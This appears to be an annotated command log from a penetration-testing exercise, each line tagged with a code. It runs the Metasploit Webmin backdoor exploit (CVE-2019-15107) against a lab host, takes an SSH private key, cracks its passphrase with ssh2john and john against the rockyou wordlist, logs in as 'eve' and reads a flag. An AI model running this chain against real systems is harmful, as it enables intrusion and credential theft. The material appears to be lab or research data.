```
msfconsole M2
                            search webmin 1.920 M3
                            search cve:2019-15107 U
                 use exploit/unix/webapp/webmin_backdoor M8
                                show options M5
                     set TARGETURI=172.18.1.5:10000 A6
                      set TARGETURI 172.18.1.5:10000 A6
                                      run U
                                 show options U
                              set TARGETURI / A6
                            set RHOST 172.18.1.5 A6
                                      run U
                             set LHOST 0.0.0.0 M6
                                      run U
                                 show options U
                               search edb:47230 U
                                search webmin U
                                    banner U
                                      info U
                                    connect U
                                      run U
                                 show options U
                            set LHOST 10.1.135.83 U
                                      run U
                                     ls A10
                                     pwd U
                                     ls A10
                                     ls A10
                  cat ssh2john.py A1 A9 A11 A12 A14 A16 A17
                            python ssh2john.py M13
                                    connect U
                                   touch r.txt U
                              cp /tmp.r.txt rsa_d U
                                     ls A10
                       python ssh2john.py rsa_d A14 A16
                  python ssh2john.py rsa_d > john_rsa A14 A16
                               john john_rsa A14
                                 john rsa d A14
                               john john rsa A14
                   python ssh2john.py /tmp.k > rsa2 A14 A16
                          cat rsa d A1 A9 A11 A12 A17
                                  john ---h A14
                                   john -h A14
                                     ls A10
                              ls Documents/m A10
                               ls Documents/A10
                             ls Documents/ -laR A10
                                     ls A10
          john john_rsa --wordlist /usr/share/wordlists/rockyou.txt M14
                                  john --show U
                                     ls A10
                               john rsa_d --show U
                                     ls A10
                               ls fasttrack.txt A10
                                    ls -l A10
          john john_rsa --wordlist /usr/share/wordlists/rockyou.txt.gz U
            john john_rsa --wordlist /usr/share/wordlists/rockyou.txt U
                             tar -xvf rockyou.txt.gz U
                        head rockyou.txt A9 A11 A12 A17
              john rsa2 --wordlist /usr/share/wordlists/rockyou.txt U
                                     ls A10
                                 john john_rsa U
            john john rsa --wordlist /usr/share/wordlists/rockyou.txt U
            john john rsa --wordlist /usr/share/wordlists/rockyou.txt U
                                     john U
        john john_rsa --wordlist /usr/share/wordlists/rockyou.txt --show U
      john john rsa --wordlist /usr/share/wordlists/rockyou.txt --show=left U
     john john_rsa --wordlist /usr/share/wordlists/rockyou.txt --show=right U
        john john rsa --show --wordlist /usr/share/wordlists/rockyou.txt U
            john --wordlist /usr/share/wordlists/rockyou.txt john rsa U
        john --wordlist /usr/share/wordlists/rockyou.txt john rsa --show U
            john --wordlist /usr/share/wordlists/rockyou.txt john rsa U
                        less rockyou.txt A9 A11 A12 A17
    john --wordlist /usr/share/wordlists/rockyou.txt john rsa --format=SSH U
                                     ls A10
      john --wordlist /usr/share/wordlists/rockyou.txt rsa_d --format=SSH U
      john --wordlist /usr/share/wordlists/rockyou.txt rsa2 --format=SSH U
      john --wordlist /usr/share/wordlists/rockyou.txt rsa_d --format=SSH U
    john --wordlist /usr/share/wordlists/rockyou.txt john_rsa --format=SSH U
                                  john --show U
                             john --show john_rsa U
                      python ssh2john.py r.txt > rsa3 A16
john --wordlist /usr/share/wordlists/rockyou.txt john_rsa --format=SSH --verbose U
                                     john U
john --wordlist /usr/share/wordlists/rockyou.txt john_rsa --format=SSH --verbose U
     john --wordlist /usr/share/wordlists/rockyou.txt john_rsa --format=SS U
    john --wordlist /usr/share/wordlists/rockyou.txt john_rsa --format=SSH U
    john --wordlist /usr/share/wordlists/rockyou.txt john_rsa --format=SSH U
                        less rockyou.txt A9 A11 A12 A17
            john --wordlist /usr/share/wordlists/rockyou.txt john_rsa U
                                   show rsa_ U
                                  show rsa_d U
                               john --show rsa_d U
                    python ssh2john.py /tmp/id_rsa hash A16
                   python ssh2john.py /tmp/id_rsa > hash A16
              john --wordlist /usr/share/wordlists/rockyou.txt hash U
          john --wordlist /usr/share/wordlists/rockyou.txt hash --rules U
                               john --show hash U
          john --wordlist /usr/share/wordlists/rockyou.txt hash --rules U
                         john --wordlist=all.lst hash A10
                                   sudo john U
                        john --show hash --format=SSH U
          john --wordlist /usr/share/wordlists/rockyou.txt hash --rules U
                        john --show hash --format=SSH U
             john --wordlist /usr/share/wordlists/rockyou.txt hash U
                        john --show hash --format=SSH U
             john --wordlist /usr/share/wordlists/rockyou.txt hash U
                                     ls A10
                          echo '!hellokitty!!' > wl.txt U
                           john --wordlist wl.txt hash U
                                     ls A10
                               john --show hash U
                         echo -n '!hellokitty!!' > wl.txt U
                           john --wordlist wl.txt hash U
                               john --show hash U
               john --show --format=SSH
                                                           hash U
                              cat /tmp/id_rsa M12
                      python ssh2john.py /tmp/id rsa A16
                             ssh-add /tmp/id_rsa A16
                               ssh-add id_rsa A16
                                       la U
                                    ls -la A10
                     python ssh2john.py id_rsa > hash A16
                john --wordlist /usr/share/wordlists/rockyou.txt U
                               john --show id_rsa U
                               john --show hash U
             john --wordlist /usr/share/wordlists/rockyou.txt hash U
                               john --show hash U
          john --wordlist /usr/share/wordlists/rockyou.txt --fork 4 hash U
         john --wordlist /usr/share/wordlists/rockyou.txt --fork=4 hash U
         john --wordlist=/usr/share/wordlists/rockyou.txt --fork=4 hash U
                               ssh-add id_rsa A16
                             ssh eve@10.1.17.4 M16
                              cp id rsa .ssh/id rsa U
                              ssh eve@10.1.17.4 U
                                     ls A10
                                    ls -a A10
                                  chown 0044 U
                              chown 0044 id rsa U
                                 ssh-add id rsa U
                              ssh eve@10.1.17.4 U
                                     ls A10
                                 cd top-secret/ U
                                     ls A10
                             cat flag A1 A9 A11 A17
```

cat flag.txt M17

nmap -A 172.18.1.5 M0

msf U

metasploit U